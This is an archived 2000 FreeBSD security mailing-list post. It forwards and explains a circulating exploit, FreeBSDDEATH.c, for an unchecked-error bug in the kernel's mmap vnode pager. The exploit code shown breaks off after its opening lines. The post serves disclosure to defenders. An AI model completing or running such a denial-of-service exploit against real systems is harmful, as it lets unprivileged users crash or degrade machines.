From owner-freebsd-security Fri Jun 2 6: 3: 5 2000 Delivered-To: freebsd-security@freebsd.org Received: from closed-networks.com (closed-networks.com [195.153.248.242]) by hub.freebsd.org (Postfix) with SMTP id 9B0FD37B540 for ; Fri, 2 Jun 2000 06:02:58 -0700 (PDT) (envelope-from udp@closed-networks.com) Received: (qmail 7362 invoked by uid 1021); 2 Jun 2000 13:09:06 -0000 Mail-Followup-To: freebsd-security@freebsd.org Date: Fri, 2 Jun 2000 14:09:06 +0100 From: User Datagram Protocol To: freebsd-security@freebsd.org Subject: FreeBSDDEATH.c.txt (mmap dirty page no check bug) Message-ID: <20000602140906.I70438@closed-networks.com> Reply-To: User Datagram Protocol Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="nOM8ykUjac0mNN89" Content-Transfer-Encoding: 8bit X-Mailer: Mutt 1.0.1i X-Echelon: MI6 Cobra GCHQ Panavia MI5 Timberline IRA NSA Mossad CIA Copperhead Organization: Closed Networks Limited, London, UK Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --nOM8ykUjac0mNN89 Content-Type: text/plain; charset=us-ascii Yo, This seems to be doing the rounds with the script kiddies fairly quickly. I've attached it. (originally found at: http://ls.si.ru/tmp/FreeBSDDEATH.c.txt - dumped by some skr1pt k1dd1es on irc) vnode_pager_putpages() only does this check against the return value of VOP_PUTPAGES(): rtval = VOP_PUTPAGES(vp, m, bytes, sync, rtvals, 0); if (rtval == EOPNOTSUPP) { And vnode_pager_generic_putpages() appears to force the return value for all page writes that it does to VM_PAGER_OK even when an error occurs in VOP_WRITE(). The above is based on a quick inspection of the 4.0-STABLE fork source tree. So, this guy has a point. Apologies if this issue was posted to any other lists, but it came my way, I am not currently on bugtraq due to some mail issues, and it looks like something we should be aware of (albeit really a quality of implementation issue that gets hit during times of high load - like something else I have in the pipeline. Heh.) Regards -- Bruce M. Simpson aka 'udp' Security Analyst & UNIX Development Engineer WWW: www.closed-networks.com/~udp Dundee www.packetfactory.net/~udp United Kingdom email: udp@closed-networks.com --nOM8ykUjac0mNN89 Content-Type: text/plain Content-Disposition: attachment; filename="FreeBSDDEATH.c.txt" Content-Transfer-Encoding: 8bit /* From: Oleg Derevenetz Date: Wed, 31 May 2000 19:04:12 +0400 Subject: mmap Message-ID: <959790285@p4.f3.n5025.z2.ftn> Draft English translation: in vnode_pager.c there is no any check for errors on write of ditry mmap'ed pages to disk. If there is no enough space or any other I/O error occur, the results will be very bad. It will be good to kill the calling process, but it's hard to find out the owner of offending page. Дело в том, что в vnode_pager.c не предусмотрена никакая обработка ошибок при сбросе грязных mmap'ленных страниц файла на диск, если на диске недостаточно места для такого сброса (да и вообще при любой ошибке I/O), и это приводит к очень плохим результатам. Где-то полгода назад я переписывался с людьми из freebsd.hackers, они меня по большому счету просто послали. VM сделана достаточно криво, поэтому мне придумать реакцию на такую проблему пока не удалось. Желательно было бы прибить процесс, но извлечь информацию о том, какому процессу принадлежит страница, при сбросе которой произошла ошибка, весьма затруднительно. Вот сижу сейчас, ломаю голову, что делать... Кстати, а здесь никто не занимается ядерным VM ? */ #include #include #include #include #include #include #define COUNT 1024*1024 #define SIZE 10*1024*1024 int main () { int i,j,fd; char *fptr, fname [16]; for (i=0;i